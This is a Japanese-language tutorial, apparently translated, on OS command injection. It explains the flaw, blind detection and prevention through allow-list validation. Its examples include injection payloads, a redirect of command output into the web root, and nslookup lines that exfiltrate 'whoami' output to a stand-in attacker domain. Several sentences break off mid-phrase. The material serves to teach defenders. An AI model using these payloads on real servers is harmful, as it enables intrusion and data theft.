OS command injection

このセクションでは、OS command injectionとは何か、脆弱性を検出して悪用する方法について説明し、さまざまなオペレーティングシステム用の有用なコマンドとテクニックを説明し、OS command injectionを防ぐ方法を要約します。

OSコマンドインジェクション

OSコマンドインジェクションとは何ですか?

OS command injection(shell injectionとも呼ばれます)は、攻撃者がアプリケーションを実行しているサーバー上で任意のオペレーティングシステム(OS)コマンドを実行し、通常はアプリケーシ 多くの場合、攻撃者はOSコマンドインジェクションの脆弱性を利用してホスティングインフラストラクチャの他の部分を侵害し、信頼関係を悪用して組織内の他のシステムに攻撃を集中させる可能性があります。

任意のコマンドの実行

アイテムが特定の店舗に在庫があるかどうかをユーザーに表示させるショッピングアプリケーションを考えてみましょう。 この情報は、次のようなURLを介してアクセスされます:

https://insecure-website.com/stockStatus?productID=381&storeID=29

在庫情報を提供するには、アプリケーションがさまざまなレガシーシステムを照会する必要があります。 歴史的な理由から、この機能は、製品IdとストアIdを引数としてシェルコマンドを呼び出すことによって実装されます:

stockreport.pl 381 29

このコマンドは、指定された品目の在庫状況を出力し、ユーザーに返されます。

アプリケーションはOSコマンド注入に対する防御を実装していないため、攻撃者は次の入力を送信して任意のコマンドを実行することができます:

& echo aiwefwlguh &

この入力がproductIDパラメーターで送信された場合、アプリケーションによって実行されるコマンドは次のようになります:

stockreport.pl & echo aiwefwlguh & 29

echoコマンドは、指定された文字列を出力にエコーするだけで、いくつかのタイプのOSコマンドインジェクションをテストするのに便利な方法です。 &文字はシェルコマンドの区切り文字であるため、実際には3つの別々のコマンドが次々に実行されます。 その結果、ユーザーに返される出力は次のようになります:

Error - productID was not provided
aiwefwlguh
29: command not found

出力の3行は、次のことを示しています:

  • 元のstockreport.plコマンドは、期待される引数なしで実行されたため、エラーメッセージが返されました。
  • 挿入されたechoコマンドが実行され、指定された文字列が出力にエコーされました。
  • 元の引数29がコマンドとして実行され、エラーが発生しました。

注入されたコマンドの後に追加のコマンド区切り記号&を配置することは、注入されたコマンドを注入点に続くものから分離するため、一般的に これにより、次のコマンドが挿入されたコマンドの実行を妨げる可能性が低減されます。

便利なコマンド

OSコマンドインジェクションの脆弱性を特定した場合、一般的に、侵害したシステムに関する情報を取得するためにいくつかの初期コ 以下は、LinuxおよびWindowsプラットフォームで有用ないくつかのコマンドの概要です:

コマンドの目的 Linux Windows
現在のユーザーの名前 whoami whoami
オペレーティングシステム uname -a ver
ネットワーク構成 ifconfig ipconfig /all
ネットワーク接続 netstat -an netstat -an
実行中のプロセス ps -ef tasklist

Blind OSコマンドインジェクションの脆弱性

OSコマンドインジェクションの多くのインスタンスは盲目の脆弱性です。 これは、アプリケーションがHTTP応答内でコマンドからの出力を返さないことを意味します。 盲目の脆弱性は依然として悪用される可能性がありますが、さまざまな技術が必要です。

ユーザーがサイトについてのフィードバックを送信できるwebサイトを考えてみましょう。 ユーザーは自分のメールアドレスとフィードバックメッセージを入力します。 サーバー側のアプリケーションは、フィードバックを含むサイト管理者への電子メールを生成します。 これを行うために、送信された詳細を含むmailプログラムを呼び出します。 例えば:

mail -s "This site is great" -aFrom:[email protected] [email protected]

mailコマンドからの出力(もしあれば)はアプリケーションの応答に返されないため、echoペイロードを使用することは効果的ではありません。 このような状況では、他のさまざまな手法を使用して、脆弱性を検出して悪用することができます。

遅延時間を使用したブラインドOSコマンド注入の検出

注入されたコマンドを使用すると、遅延時間をトリガすることができ、アプリケーションが応答するのにかかる時間に基づいてコマンドが実行されたことを確認できます。 pingコマンドは、送信するICMPパケットの数を指定できるため、コマンドの実行にかかる時間を指定できるため、これを行う効果的な方法です:

& ping -c 10 127.0.0.1 &

このコマンドを実行すると、アプリケーションはループバックネットワークアダプタに10秒間pingを実行します。

blind OSコマンドインジェクションを悪用する出力をリダイレクトすることにより

注入されたコマンドからの出力をwebルート内のファイルにリダイレ たとえば、アプリケーションがファイルシステムの場所/var/www/staticから静的リソースを提供する場合は、次の入力を送信できます:

& whoami > /var/www/static/whoami.txt &

>文字は、whoamiコマンドからの出力を指定されたファイルに送信します。 その後、ブラウザを使用してhttps://vulnerable-website.com/whoami.txtをフェッチしてファイルを取得し、注入されたコマンドからの出力を表示できます。

帯域外(OAST)技術を使用したブラインドOSコマンド注入の悪用

注入されたコマンドを使用すると、OAST技術を使用して、制御するシステムとの帯域外ネットワー 例えば:

& nslookup kgji2ohoyw.web-attacker.com &

このペイロードは、nslookupコマンドを使用して、指定されたドメインのDNSルックアップを実行します。 攻撃者は、指定された参照が発生しているかどうかを監視し、コマンドが正常に挿入されたことを検出できます。

out-of-bandチャンネルは、注入されたコマンドからの出力を簡単に抽出する方法も提供します:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

これにより、whoamiコマンドの結果を含む攻撃者のドメインへのDNSルックアップが発生します:

wwwuser.kgji2ohoyw.web-attacker.com

OSコマンド注入の方法

OSコマンド注入攻撃を実行するために、さまざまなシェルメタチャラクタを使用することができます。

多くの文字がコマンド区切り文字として機能し、コマンドを連鎖させることができます。 次のコマンド区切り文字は、WindowsベースとUnixベースの両方のシステムで動作します:

  • &
  • &&
  • |
  • ||

次のコマンド区切り文字は、Unixベースのシステムでのみ機能します:

  • ;
  • 改行(0x0aまたは\n)

Unixベースのシステムでは、バッククォートまたはドル文字を使用して、元のコマンド内で注入されたコマンドのインライン実行を実行することもで:

  • ` 注入されたコマンド`
  • $( 注入されたコマンド)

シェルのメタ文字の動作が微妙に異なるため、特定の状況で動作するかどうか、コマンド出力の帯域内検索を許可するかどうか、または盲目の悪用に

場合によっては、制御する入力が元のコマンドの引用符内に表示されることがあります。 この状況では、適切なシェルメタ文字を使用して新しいコマンドを挿入する前に、引用符で囲まれたコンテキストを("または'を使用して)終了する必要

OSコマンドインジェクション攻撃を防ぐ方法

OSコマンドインジェクションの脆弱性を防ぐ最も効果的な方法は、アプリケーション層のコードからOSコマンドを呼び出さないことです。 事実上すべてのケースで、より安全なプラットフォームApiを使用して必要な機能を実装する別の方法があります。

ユーザーが指定した入力でOSコマンドを呼び出すことが避けられないと考えられる場合は、強力な入力検証を実行する必要があります。 効果的な検証の例には、次のものがあります:

  • 許可された値のホワイトリストに対する検証。
  • 入力が数値であることを検証します。
  • 入力に英数字のみが含まれ、他の構文や空白は含まれていないことを検証します。

シェルメタ文字をエスケープして入力をサニタイズしようとしないでください。 実際には、これはあまりにもエラーが発生しやすく、熟練した攻撃者によってバイパスされる脆弱性があります。

You might also like

コメントを残す

メールアドレスが公開されることはありません。